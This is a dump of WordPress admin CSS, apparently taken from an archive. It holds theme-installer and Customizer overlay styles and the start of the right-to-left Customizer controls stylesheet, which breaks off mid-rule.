.wp-full-overlay { background: transparent; z-index: 500000; position: fixed; overflow: visible; top: 0; bottom: 0; left: 0; right: 0; height: 100%; min-width: 0; } .wp-full-overlay-sidebar { box-sizing: border-box; position: fixed; min-width: 300px; max-width: 600px; width: 18%; height: 100%; top: 0; bottom: 0; left: 0; padding: 0; margin: 0; z-index: 10; background: #f0f0f1; border-right: none; } .wp-full-overlay.collapsed .wp-full-overlay-sidebar { overflow: visible; } .wp-full-overlay.collapsed, .wp-full-overlay.expanded .wp-full-overlay-sidebar { margin-left: 0 !important; } .wp-full-overlay.expanded { margin-left: 300px; } .wp-full-overlay.collapsed .wp-full-overlay-sidebar { margin-left: -300px; } @media screen and (min-width: 1667px) { .wp-full-overlay.expanded { margin-left: 18%; } .wp-full-overlay.collapsed .wp-full-overlay-sidebar { margin-left: -18%; } } @media screen and (min-width: 3333px) { .wp-full-overlay.expanded { margin-left: 600px; } .wp-full-overlay.collapsed .wp-full-overlay-sidebar { margin-left: -600px; } } .wp-full-overlay-sidebar:after { content: ""; display: block; position: absolute; top: 0; bottom: 0; right: 0; width: 3px; z-index: 1000; } .wp-full-overlay-main { position: absolute; left: 0; right: 0; top: 0; bottom: 0; height: 100%; } .wp-full-overlay-sidebar .wp-full-overlay-header { position: absolute; left: 0; right: 0; height: 45px; padding: 0 15px; line-height: 3.2; z-index: 10; margin: 0; border-top: none; box-shadow: none; } .wp-full-overlay-sidebar .wp-full-overlay-header a.back { margin-top: 3px; /* Vertically center 40px button in 45px header */ } .wp-full-overlay-sidebar .wp-full-overlay-footer { bottom: 0; border-bottom: none; border-top: none; box-shadow: none; } .wp-full-overlay-sidebar .wp-full-overlay-sidebar-content { position: absolute; top: 45px; bottom: 45px; left: 0; right: 0; overflow: auto; } /* Close & Navigation Links */ .theme-install-overlay .wp-full-overlay-sidebar .wp-full-overlay-header { padding: 0; } .theme-install-overlay .close-full-overlay, .theme-install-overlay .previous-theme, .theme-install-overlay .next-theme { display: block; position: relative; float: left; width: 45px; height: 45px; background: #f0f0f1; border-right: 1px solid #dcdcde; color: #3c434a; cursor: pointer; text-decoration: none; transition: color .1s ease-in-out, background .1s ease-in-out; } .theme-install-overlay .close-full-overlay:hover, .theme-install-overlay .close-full-overlay:focus, .theme-install-overlay .previous-theme:hover, .theme-install-overlay .previous-theme:focus, .theme-install-overlay .next-theme:hover, .theme-install-overlay .next-theme:focus { background: #dcdcde; border-color: #c3c4c7; color: #000; outline: none; box-shadow: none; } .theme-install-overlay .close-full-overlay:before { font: normal 22px/1 dashicons; content: "\f335"; content: "\f335" / ''; position: relative; top: 7px; left: 13px; } .theme-install-overlay .previous-theme:before { font: normal 20px/1 dashicons; content: "\f341"; content: "\f341" / ''; position: relative; top: 6px; left: 14px; } .theme-install-overlay .next-theme:before { font: normal 20px/1 dashicons; content: "\f345"; content: "\f345" / ''; position: relative; top: 6px; left: 13px; } .theme-install-overlay .previous-theme.disabled, .theme-install-overlay .next-theme.disabled, .theme-install-overlay .previous-theme.disabled:hover, .theme-install-overlay .previous-theme.disabled:focus, .theme-install-overlay .next-theme.disabled:hover, .theme-install-overlay .next-theme.disabled:focus { color: #c3c4c7; background: #f0f0f1; cursor: default; pointer-events: none; } .theme-install-overlay .close-full-overlay, .theme-install-overlay .previous-theme, .theme-install-overlay .next-theme { border-left: 0; border-top: 0; border-bottom: 0; } .theme-install-overlay .close-full-overlay:before, .theme-install-overlay .previous-theme:before, .theme-install-overlay .next-theme:before { top: 2px; left: 0; } /* Collapse Button */ .wp-core-ui .wp-full-overlay .collapse-sidebar { position: fixed; bottom: 0; left: 0; padding: 9px 0 9px 10px; height: 45px; color: #646970; outline: 0; line-height: 1; background-color: transparent !important; border: none !important; box-shadow: none !important; border-radius: 0 !important; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #2271b1; } .wp-full-overlay .collapse-sidebar-arrow, .wp-full-overlay .collapse-sidebar-label { display: inline-block; vertical-align: middle; line-height: 1.6; } .wp-full-overlay .collapse-sidebar-arrow { width: 20px; height: 20px; margin: 0 2px; /* avoid the focus box-shadow to be cut-off */ border-radius: 50%; overflow: hidden; } .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wp-full-overlay .collapse-sidebar-label { margin-left: 3px; } .wp-full-overlay.collapsed .collapse-sidebar-label { display: none; } .wp-full-overlay .collapse-sidebar-arrow:before { display: block; content: "\f148"; content: "\f148" / ''; background: #f0f0f1; font: normal 20px/1 dashicons; padding: 0; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .wp-core-ui .wp-full-overlay.collapsed .collapse-sidebar { padding: 9px 10px; } /* rtl:ignore */ .wp-full-overlay.collapsed .collapse-sidebar-arrow:before, .rtl .wp-full-overlay .collapse-sidebar-arrow:before { transform: rotate(180.001deg); /* Firefox: promoting to its own layer to trigger anti-aliasing */ } .rtl .wp-full-overlay.collapsed .collapse-sidebar-arrow:before { transform: none; } /* Animations */ @media (prefers-reduced-motion: no-preference) { .wp-full-overlay, .wp-full-overlay-sidebar, .wp-full-overlay .collapse-sidebar, .wp-full-overlay-main { transition-property: left, right, top, bottom, width, margin; transition-duration: 0.2s; } } /* Device/preview size toggles */ .wp-full-overlay { background: #1d2327; } .wp-full-overlay-main { background-color: #f0f0f1; } .expanded .wp-full-overlay-footer { position: fixed; bottom: 0; left: 0; min-width: 299px; max-width: 599px; width: 18%; width: calc( 18% - 1px ); height: 45px; border-top: 1px solid #dcdcde; background: #f0f0f1; } .wp-full-overlay-footer .devices-wrapper { float: right; } .wp-full-overlay-footer .devices { position: relative; background: #f0f0f1; box-shadow: -20px 0 10px -5px #f0f0f1; } .wp-full-overlay-footer .devices button { cursor: pointer; background: transparent; border: none; height: 45px; padding: 0 3px; margin: 0 0 0 -4px; box-shadow: none; border-top: 1px solid transparent; border-bottom: 4px solid transparent; transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out; } .wp-full-overlay-footer .devices button:focus { box-shadow: none; outline: none; } .wp-full-overlay-footer .devices button:before { display: inline-block; -webkit-font-smoothing: antialiased; font: normal 20px/30px "dashicons"; vertical-align: top; margin: 3px 0; padding: 4px 8px; color: #646970; } .wp-full-overlay-footer .devices button.active { border-bottom-color: #1d2327; } .wp-full-overlay-footer .devices button:hover, .wp-full-overlay-footer .devices button:focus { background-color: #fff; } .wp-full-overlay-footer .devices button:focus, .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #2271b1; } .wp-full-overlay-footer .devices button.active:before { color: #1d2327; } .wp-full-overlay-footer .devices button:hover:before, .wp-full-overlay-footer .devices button:focus:before { color: #2271b1; } .wp-full-overlay-footer .devices .preview-desktop:before { content: "\f472"; content: "\f472" / ''; } .wp-full-overlay-footer .devices .preview-tablet:before { content: "\f471"; content: "\f471" / ''; } .wp-full-overlay-footer .devices .preview-mobile:before { content: "\f470"; content: "\f470" / ''; } @media screen and (max-width: 1024px) { .wp-full-overlay-footer .devices { display: none; } } .collapsed .wp-full-overlay-footer .devices button:before { display: none; } .preview-mobile .wp-full-overlay-main { margin: auto 0 auto -160px; width: 320px; height: 480px; max-height: 100%; max-width: 100%; left: 50%; } .preview-tablet .wp-full-overlay-main { margin: auto 0 auto -360px; width: 720px; /* Size is loosely based on a typical "tablet" device size. Intentionally ambiguous - this does not represent any particular device precisely. */ height: 1080px; max-height: 100%; max-width: 100%; left: 50%; } /*------------------------------------------------------------------------------ 24.0 - Customize Loader ------------------------------------------------------------------------------*/ .no-customize-support .hide-if-no-customize, .customize-support .hide-if-customize, .no-customize-support.wp-core-ui .hide-if-no-customize, .no-customize-support .wp-core-ui .hide-if-no-customize, .customize-support.wp-core-ui .hide-if-customize, .customize-support .wp-core-ui .hide-if-customize { display: none; } #customize-container, #customize-controls .notice.notification-overlay { background: #f0f0f1; z-index: 500000; position: fixed; overflow: visible; top: 0; bottom: 0; left: 0; right: 0; height: 100%; } #customize-container { display: none; } /* Make the Customizer and Theme installer overlays the only available content. */ #customize-container, .theme-install-overlay { visibility: visible; } .customize-loading #customize-container iframe { opacity: 0; } #customize-container iframe, .theme-install-overlay iframe { height: 100%; width: 100%; z-index: 20; transition: opacity 0.3s; } #customize-controls { margin-top: 0; } .theme-install-overlay { display: none; } .theme-install-overlay.single-theme { display: block; } .install-theme-info { display: none; padding: 10px 20px 60px; } .single-theme .install-theme-info { padding-top: 15px; } .theme-install-overlay .install-theme-info { display: block; } .install-theme-info .theme-install { float: right; margin-top: 18px; } .install-theme-info .theme-name { font-size: 16px; line-height: 1.5; margin-bottom: 0; margin-top: 0; } .install-theme-info .theme-screenshot { margin: 15px 0; width: 258px; border: 1px solid #c3c4c7; position: relative; overflow: hidden; } .install-theme-info .theme-screenshot > img { width: 100%; height: auto; position: absolute; left: 0; top: 0; } .install-theme-info .theme-screenshot:after { content: ""; display: block; padding-top: 66.66666666%; } .install-theme-info .theme-details { overflow: hidden; } .theme-details .theme-version { margin: 15px 0; } .theme-details .theme-description { float: left; color: #646970; line-height: 1.6; max-width: 100%; } .theme-install-overlay .wp-full-overlay-header .button { float: right; margin: 7px 10px 0 0; /* Vertically center 32px button in 45px header */ min-height: 32px; line-height: 2.30769231; /* 30px for 32px height with 13px font */ } .theme-install-overlay .wp-full-overlay-sidebar { background: #f0f0f1; border-right: 1px solid #dcdcde; } .theme-install-overlay .wp-full-overlay-sidebar-content { background: #fff; border-top: 1px solid #dcdcde; border-bottom: 1px solid #dcdcde; } .theme-install-overlay .wp-full-overlay-main { position: absolute; z-index: 0; background-color: #f0f0f1; } .customize-loading #customize-container { background-color: #f0f0f1; } #customize-preview.wp-full-overlay-main:before, .customize-loading #customize-container:before, #customize-controls .notice.notification-overlay.notification-loading:before, .theme-install-overlay .wp-full-overlay-main:before { content: ""; display: block; width: 20px; height: 20px; position: absolute; left: 50%; top: 50%; z-index: -1; margin: -10px 0 0 -10px; transform: translateZ(0); background: transparent url(../images/spinner.gif) no-repeat center center; background-size: 20px 20px; } #customize-preview.wp-full-overlay-main.iframe-ready:before, .theme-install-overlay.iframe-ready .wp-full-overlay-main:before { background-image: none; } /* =Media Queries -------------------------------------------------------------- */ /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { .wp-full-overlay .collapse-sidebar-arrow { background-image: url(../images/arrows-2x.png); background-size: 15px 123px; } #customize-preview.wp-full-overlay-main:before, .customize-loading #customize-container:before, #customize-controls .notice.notification-overlay.notification-loading:before, .theme-install-overlay .wp-full-overlay-main:before { background-image: url(../images/spinner-2x.gif); } } @media screen and (max-width: 782px) { .available-theme .action-links .delete-theme { float: none; margin: 0; padding: 0; clear: both; } .available-theme .action-links .delete-theme a { padding: 0; } .broken-themes table { width: 100%; } .theme-install-overlay .wp-full-overlay-header .button { font-size: 13px; } .theme-browser .theme .theme-actions .button { margin-bottom: 0; } .theme-browser .theme.active .theme-actions, .theme-browser .theme .theme-actions { padding-top: 4px; padding-bottom: 4px; } .upload-plugin .wp-upload-form, .upload-theme .wp-upload-form { width: 100%; box-sizing: border-box; } .upload-plugin .wp-upload-form input[type=file], .upload-theme .wp-upload-form input[type=file] { padding: 30px 0 30px 30px; width: 100%; } } css/customize-controls-rtl.css 0000644 00000215571 15233246127 0012550 0 ustar 00 /*! This file is auto-generated */ body { overflow: hidden; -webkit-text-size-adjust: 100%; } .customize-controls-close, .widget-control-actions a { text-decoration: none; } #customize-controls h3 { font-size: 14px; } #customize-controls img { max-width: 100%; } #customize-controls .submit { text-align: center; } #customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked { background-color: rgba(0, 0, 0, 0.7); padding: 25px; } #customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .customize-changeset-locked-message { margin-right: auto; margin-left: auto; max-width: 366px; min-height: 64px; width: auto; padding: 25px; position: relative; background: #fff; box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3); line-height: 1.5; overflow-y: auto; text-align: right; top: calc( 50% - 100px ); } #customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .customize-changeset-locked-message.has-avatar { padding-right: 109px; } #customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .currently-editing { margin-top: 0; } #customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .action-buttons { margin-bottom: 0; } .customize-changeset-locked-avatar { width: 64px; position: absolute; right: 25px; top: 25px; } .wp-core-ui.wp-customizer .customize-changeset-locked-message a.button { margin-left: 10px; margin-top: 0; } #customize-controls .description { color: #50575e; } #customize-save-button-wrapper { float: left; margin-top: 7px; /* Vertically center 32px button in 45px header */ } body:not(.ready) #customize-save-button-wrapper .save { visibility: hidden; } #customize-save-button-wrapper .save { float: right; border-radius: 3px; box-shadow: none; /* @todo Adjust box shadow based on the disable states of paired button. */ margin-top: 0; } #customize-save-button-wrapper .save.has-next-sibling { border-radius: 0 3px 3px 0; } #customize-sidebar-outer-content { position: absolute; top: 0; bottom: 0; right: 0; visibility: hidden; overflow-x: hidden; overflow-y: auto; width: 100%; margin: 0; z-index: -1; background: #f0f0f1; transition: right .18s; border-left: 1px solid #dcdcde; border-right: 1px solid #dcdcde; height: 100%; } @media (prefers-reduced-motion: reduce) { #customize-sidebar-outer-content { transition: none; } } #customize-theme-controls .control-section-outer { display: none !important; } #customize-outer-theme-controls .accordion-section-content { padding: 12px; } #customize-outer-theme-controls .accordion-section-content.open { display: block; } .outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content { visibility: visible; right: 100%; transition: right .18s; } @media (prefers-reduced-motion: reduce) { .outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content { transition: none; } } .customize-outer-pane-parent { margin: 0; } .outer-section-open .wp-full-overlay.expanded .wp-full-overlay-main { right: 300px; opacity: 0.4; } .outer-section-open .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main, .outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main, .adding-menu-items .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main, .adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main, .adding-widget .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main, .adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main { right: 64%; } #customize-outer-theme-controls li.notice { padding-top: 8px; padding-bottom: 8px; margin-right: 0; margin-bottom: 10px; } #publish-settings { text-indent: 0; border-radius: 3px 0 0 3px; padding-right: 0; padding-left: 0; box-shadow: none; /* @todo Adjust box shadow based on the disable states of paired button. */ font-size: 14px; width: 30px; float: right; transform: none; margin-top: 0; line-height: 2; } body:not(.ready) #publish-settings, body.trashing #customize-save-button-wrapper .save, body.trashing #publish-settings { display: none; } #customize-header-actions .spinner { margin-top: 13px; /* Vertically center 20px spinner in 45px header */ margin-left: 4px; } .saving #customize-header-actions .spinner, .trashing #customize-header-actions .spinner { visibility: visible; } #customize-header-actions { border-bottom: 1px solid #dcdcde; } #customize-controls .wp-full-overlay-sidebar-content { overflow-y: auto; overflow-x: hidden; } .outer-section-open #customize-controls .wp-full-overlay-sidebar-content { background: #f0f0f1; } #customize-controls .customize-info { border: none; border-bottom: 1px solid #dcdcde; margin-bottom: 15px; } #customize-control-changeset_status .customize-inside-control-row, #customize-control-changeset_preview_link input { background-color: #fff; border-bottom: 1px solid #dcdcde; box-sizing: content-box; width: 100%; margin-right: -12px; padding-right: 12px; padding-left: 12px; } #customize-control-trash_changeset { margin-top: 20px; } #customize-control-trash_changeset .button-link { position: relative; padding-right: 24px; display: inline-block; } #customize-control-trash_changeset .button-link:before { content: "\f182"; content: "\f182" / ''; font: normal 22px dashicons; text-decoration: none; position: absolute; right: 0; top: -2px; } #customize-controls .date-input:invalid { border-color: #d63638; } #customize-control-changeset_status .customize-inside-control-row { padding-top: 10px; padding-bottom: 10px; font-weight: 500; } #customize-control-changeset_status .customize-inside-control-row:first-of-type { border-top: 1px solid #dcdcde; } #customize-control-changeset_status .customize-control-title { margin-bottom: 6px; } #customize-control-changeset_status input { margin-right: 0; } #customize-control-changeset_preview_link { position: relative; display: block; } .preview-link-wrapper .customize-copy-preview-link.preview-control-element.button { margin: 0; position: absolute; top: 50%; transform: translateY(-50%) !important; left: 0; background: #fff !important; } .preview-link-wrapper { position: relative; } .customize-copy-preview-link:before, .customize-copy-preview-link:after { content: ""; height: 40px; position: absolute; background: #fff; top: 0; } .customize-copy-preview-link:before { right: -10px; width: 9px; opacity: 0.75; } .customize-copy-preview-link:after { right: -5px; width: 4px; opacity: 0.8; } #customize-control-changeset_preview_link input { line-height: 2.85714286; /* 40px */ border-top: 1px solid #dcdcde; border-right: none; border-left: none; text-indent: -999px; color: #fff; /* Only necessary for IE11 */ min-height: 40px; } #customize-control-changeset_preview_link label { position: relative; display: block; } #customize-control-changeset_preview_link a { display: inline-block; position: absolute; white-space: nowrap; overflow: hidden; width: 90%; bottom: 14px; font-size: 14px; text-decoration: none; } #customize-control-changeset_preview_link a.disabled, #customize-control-changeset_preview_link a.disabled:active, #customize-control-changeset_preview_link a.disabled:focus, #customize-control-changeset_preview_link a.disabled:visited { color: #000; opacity: 0.4; cursor: default; outline: none; box-shadow: none; } #sub-accordion-section-publish_settings .customize-section-description-container { display: none; } #customize-controls .customize-info.section-meta { margin-bottom: 15px; } .customize-control-date_time .customize-control-description + .date-time-fields.includes-time { margin-top: 10px; } .customize-control.customize-control-date_time .date-time-fields .date-input.day { margin-left: 0; } .date-time-fields .date-input.month { width: auto; margin: 0; } .date-time-fields .date-input.day, .date-time-fields .date-input.hour, .date-time-fields .date-input.minute { width: 46px; } .customize-control-date_time select { vertical-align: top; } .date-time-fields .date-input.year { width: 65px; } .date-time-fields .date-input.meridian { width: auto; margin: 0; } .date-time-fields .time-row { margin-top: 12px; } #customize-control-changeset_preview_link { margin-top: 6px; } #customize-control-changeset_status { margin-bottom: 0; padding-bottom: 0; } #customize-control-changeset_scheduled_date { box-sizing: content-box; width: 100%; margin-right: -12px; padding: 12px; background: #fff; border-bottom: 1px solid #dcdcde; margin-bottom: 0; } #customize-control-site_icon .customize-control-description, #customize-control-changeset_scheduled_date .customize-control-description { font-style: normal; } #customize-controls .customize-info.is-in-view, #customize-controls .customize-section-title.is-in-view { position: absolute; z-index: 9; width: 100%; box-shadow: 0 1px 0 rgba(0, 0, 0, 0.1); } #customize-controls .customize-section-title.is-in-view { margin-top: 0; } #customize-controls .customize-info.is-in-view + .accordion-section { margin-top: 15px; } #customize-controls .customize-info.is-sticky, #customize-controls .customize-section-title.is-sticky { position: fixed; top: 46px; } #customize-controls .customize-info .accordion-section-title { background: #fff; color: #50575e; border-right: none; border-left: none; border-bottom: none; cursor: default; padding: 10px 14px 11px 10px; } #customize-controls .customize-info.open .accordion-section-title:after, #customize-controls .customize-info .accordion-section-title:hover:after, #customize-controls .customize-info .accordion-section-title:focus:after { color: #2c3338; } #customize-controls .customize-info .accordion-section-title:after { display: none; } #customize-controls .customize-info .preview-notice { font-size: 13px; line-height: 1.9; margin: 0; font-weight: 400; color: #50575e; } #customize-controls .customize-pane-child .customize-section-title h3, #customize-controls .customize-pane-child h3.customize-section-title, #customize-outer-theme-controls .customize-pane-child .customize-section-title h3, #customize-outer-theme-controls .customize-pane-child h3.customize-section-title, #customize-controls .customize-info .panel-title { font-size: 20px; font-weight: 200; line-height: 26px; display: block; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } #customize-controls .customize-section-title span.customize-action { overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } #customize-controls .customize-info .customize-help-toggle { position: absolute; top: 4px; left: 1px; padding: 20px 10px 10px 20px; width: 20px; height: 20px; cursor: pointer; box-shadow: none; background: transparent; color: #50575e; border: none; } #customize-controls .customize-info .customize-help-toggle:before { position: absolute; top: 5px; right: 6px; } #customize-controls .customize-info .customize-panel-description, #customize-controls .customize-info .customize-section-description, #customize-outer-theme-controls .customize-info .customize-section-description, #customize-controls .no-widget-areas-rendered-notice { color: #50575e; display: none; background: #fff; padding: 12px 15px; border-top: 1px solid #dcdcde; } #customize-controls .customize-info .customize-panel-description.open + .no-widget-areas-rendered-notice { border-top: none; } .no-widget-areas-rendered-notice { font-style: italic; } .no-widget-areas-rendered-notice p:first-child { margin-top: 0; } .no-widget-areas-rendered-notice p:last-child { margin-bottom: 0; } #customize-controls .customize-info .customize-section-description { margin-bottom: 15px; } #customize-controls .customize-info .customize-panel-description p:first-child, #customize-controls .customize-info .customize-section-description p:first-child { margin-top: 0; } #customize-controls .customize-info .customize-panel-description p:last-child, #customize-controls .customize-info .customize-section-description p:last-child { margin-bottom: 0; } #customize-controls .current-panel .control-section > h3.accordion-section-title { padding-left: 30px; } #customize-theme-controls .control-section, #customize-outer-theme-controls .control-section { border: none; } #customize-theme-controls .accordion-section-title, #customize-outer-theme-controls .accordion-section-title { color: #50575e; background-color: #fff; border-bottom: 1px solid #dcdcde; border-right: 4px solid #fff; transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out; } .accordion-section-title:has(button.accordion-trigger), #customize-controls .current-panel .control-section > h3.accordion-section-title:has(button.accordion-trigger) { padding: 0; } .accordion-section-title button.accordion-trigger { all: unset; width: 100%; padding: 10px 14px 11px 30px; display: flex; align-items: center; box-sizing: border-box; } .accordion-section-title button.accordion-trigger:has(.menu-in-location) { display: block; } .accordion-section-title button.accordion-trigger .spinner { margin-top: 0; } @media (prefers-reduced-motion: reduce) { #customize-theme-controls .accordion-section-title, #customize-outer-theme-controls .accordion-section-title { transition: none; } } #customize-controls #customize-theme-controls .customize-themes-panel .accordion-section-title { color: #50575e; background-color: #fff; border-right: 4px solid #fff; } #customize-theme-controls .accordion-section-title:after, #customize-outer-theme-controls .accordion-section-title:after { content: "\f341"; content: "\f345" / ''; color: #a7aaad; pointer-events: none; } #customize-theme-controls .accordion-section-content, #customize-outer-theme-controls .accordion-section-content { color: #50575e; background: transparent; } #accordion-section-themes + .control-section { border-top: 1px solid #dcdcde; } .js .control-section:hover .accordion-section-title, .js .control-section .accordion-section-title:hover, .js .control-section.open .accordion-section-title, .js .control-section .accordion-section-title:focus { background: #f6f7f7; } #customize-theme-controls .control-section.open { border-bottom: 1px solid #f0f0f1; } #customize-theme-controls .control-section.open .accordion-section-title, #customize-outer-theme-controls .control-section.open .accordion-section-title { border-bottom-color: #f0f0f1 !important; } #customize-theme-controls .control-section:last-of-type.open, #customize-theme-controls .control-section:last-of-type > .accordion-section-title { border-bottom-color: #dcdcde; } #customize-theme-controls .control-panel-content:not(.control-panel-nav_menus) .control-section:nth-child(2), #customize-theme-controls .control-panel-nav_menus .control-section-nav_menu, #customize-theme-controls .control-section-nav_menu_locations .accordion-section-title { border-top: 1px solid #dcdcde; } #customize-theme-controls .control-panel-nav_menus .control-section-nav_menu + .control-section-nav_menu { border-top: none; } #customize-theme-controls > ul { margin: 0; } #customize-theme-controls .accordion-section-content { position: absolute; top: 0; right: 100%; width: 100%; margin: 0; padding: 12px; box-sizing: border-box; } #customize-info, #customize-theme-controls .customize-pane-parent, #customize-theme-controls .customize-pane-child { overflow: visible; width: 100%; margin: 0; padding: 0; box-sizing: border-box; transition: 0.18s transform cubic-bezier(0.645, 0.045, 0.355, 1); /* easeInOutCubic */ } @media (prefers-reduced-motion: reduce) { #customize-info, #customize-theme-controls .customize-pane-parent, #customize-theme-controls .customize-pane-child { transition: none; } } #customize-theme-controls .customize-pane-child.skip-transition { transition: none; } #customize-info, #customize-theme-controls .customize-pane-parent { position: relative; visibility: visible; height: auto; max-height: none; overflow: auto; transform: none; } #customize-theme-controls .customize-pane-child { position: absolute; top: 0; right: 0; visibility: hidden; height: 0; max-height: none; overflow: hidden; transform: translateX(-100%); } #customize-theme-controls .customize-pane-child.open, #customize-theme-controls .customize-pane-child.current-panel { transform: none; } .section-open #customize-theme-controls .customize-pane-parent, .in-sub-panel #customize-theme-controls .customize-pane-parent, .section-open #customize-info, .in-sub-panel #customize-info, .in-sub-panel.section-open #customize-theme-controls .customize-pane-child.current-panel { visibility: hidden; height: 0; overflow: hidden; transform: translateX(100%); } .section-open #customize-theme-controls .customize-pane-parent.busy, .in-sub-panel #customize-theme-controls .customize-pane-parent.busy, .section-open #customize-info.busy, .in-sub-panel #customize-info.busy, .busy.section-open.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel, #customize-theme-controls .customize-pane-child.open, #customize-theme-controls .customize-pane-child.current-panel, #customize-theme-controls .customize-pane-child.busy { visibility: visible; height: auto; overflow: auto; } #customize-theme-controls .customize-pane-child.accordion-section-content, #customize-theme-controls .customize-pane-child.accordion-sub-container { display: block; overflow-x: hidden; } #customize-theme-controls .customize-pane-child.accordion-section-content { padding: 12px; } #customize-theme-controls .customize-pane-child.menu li { position: static; } .customize-section-description-container, .control-section-nav_menu .customize-section-description-container, .control-section-new_menu .customize-section-description-container { margin-bottom: 15px; } .control-section-nav_menu .customize-control, .control-section-new_menu .customize-control { /* Override default `margin-bottom` for `.customize-control` */ margin-bottom: 0; } .customize-section-title { margin: -12px -12px 0; border-bottom: 1px solid #dcdcde; background: #fff; } div.customize-section-description { margin-top: 22px; } .customize-info div.customize-section-description { margin-top: 0; } div.customize-section-description p:first-child { margin-top: 0; } div.customize-section-description p:last-child { margin-bottom: 0; } #customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child { border-bottom: 1px solid #dcdcde; padding: 12px; } .ios #customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child { padding: 12px 12px 13px; } .customize-section-title h3, h3.customize-section-title { padding: 10px 14px 12px 10px; margin: 0; line-height: 21px; color: #50575e; } .accordion-sub-container.control-panel-content { display: none; position: absolute; top: 0; width: 100%; } .accordion-sub-container.control-panel-content.busy { display: block; } .current-panel .accordion-sub-container.control-panel-content { width: 100%; } .customize-controls-close { display: block; position: absolute; top: 0; right: 0; width: 45px; height: 41px; padding: 0 0 0 2px; background: #f0f0f1; border: none; border-top: 4px solid #f0f0f1; border-left: 1px solid #dcdcde; color: #3c434a; text-align: right; cursor: pointer; box-sizing: content-box; } @media (prefers-reduced-motion: no-preference) { .customize-controls-close { transition: color .15s ease-in-out, border-color .15s ease-in-out, background .15s ease-in-out; } } .customize-panel-back, .customize-section-back { display: block; float: right; width: 48px; height: 71px; padding: 0 0 0 24px; margin: 0; background: #fff; border: none; border-left: 1px solid #dcdcde; border-right: 4px solid #fff; box-shadow: none; cursor: pointer; transition: color .15s ease-in-out, border-color .15s ease-in-out, background .15s ease-in-out; } .customize-section-back { height: 74px; } .ios .customize-panel-back { display: none; } .ios .expanded.in-sub-panel .customize-panel-back { display: block; } #customize-controls .panel-meta.customize-info .accordion-section-title { margin-right: 48px; border-right: none; } #customize-controls .panel-meta.customize-info .accordion-section-title:hover, #customize-controls .cannot-expand:hover .accordion-section-title { background: #fff; color: #50575e; border-right-color: #fff; } .customize-controls-close:focus, .customize-controls-close:hover, .customize-controls-preview-toggle:focus, .customize-controls-preview-toggle:hover { background: #fff; box-shadow: none; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } #customize-theme-controls .accordion-section-title:focus .customize-action { /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; outline-offset: 1px; } .customize-panel-back:hover, .customize-panel-back:focus, .customize-section-back:hover, .customize-section-back:focus { background: #f6f7f7; box-shadow: none; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -2px; } .customize-controls-close:before { font: normal 22px/45px dashicons; content: "\f335"; content: "\f335" / ''; position: relative; top: -3px; right: 13px; } .customize-panel-back:before, .customize-section-back:before { font: normal 20px/72px dashicons; content: "\f345"; content: "\f341" / ''; position: relative; right: 9px; } .wp-full-overlay-sidebar .wp-full-overlay-header { background-color: #f0f0f1; transition: padding ease-in-out .18s; } .in-sub-panel .wp-full-overlay-sidebar .wp-full-overlay-header { padding-right: 62px; } p.customize-section-description { font-style: normal; margin-top: 22px; margin-bottom: 0; } .customize-section-description ul { margin-right: 1em; } .customize-section-description ul > li { list-style: disc; } .section-description-buttons { text-align: left; } .customize-control { width: 100%; float: right; clear: both; margin-bottom: 12px; } .customize-control input[type="text"], .customize-control input[type="password"], .customize-control input[type="email"], .customize-control input[type="number"], .customize-control input[type="search"], .customize-control input[type="tel"], .customize-control input[type="url"], .customize-control input[type="range"] { width: 100%; margin: 0; } .customize-control-hidden { margin: 0; } .customize-control-textarea textarea { width: 100%; resize: vertical; } .customize-control select { width: 100%; } .customize-control select[multiple] { height: auto; } .customize-control-title { display: block; font-size: 14px; line-height: 1.75; font-weight: 600; margin-bottom: 4px; } .customize-control-description { display: block; font-style: italic; line-height: 1.4; margin-top: 0; margin-bottom: 5px; } .customize-section-description a.external-link:after { font: 16px/11px dashicons; content: "\f504"; content: "\f504" / ''; top: 3px; position: relative; padding-right: 3px; display: inline-block; text-decoration: none; } .customize-control-color .color-picker, .customize-control-upload div { line-height: 28px; } .customize-control .customize-inside-control-row { line-height: 1.6; display: block; margin-right: 24px; padding-top: 6px; padding-bottom: 6px; } .customize-control-radio input, .customize-control-checkbox input, .customize-control-nav_menu_auto_add input { margin-left: 4px; margin-right: -24px; } .customize-control-radio { padding: 5px 0 10px; } .customize-control-radio .customize-control-title { margin-bottom: 0; line-height: 1.6; } .customize-control-radio .customize-control-title + .customize-control-description { margin-top: 7px; } .customize-control-radio label, .customize-control-checkbox label { vertical-align: top; } .customize-control .attachment-thumb.type-icon { float: right; margin: 10px; width: auto; } .customize-control .attachment-title { font-weight: 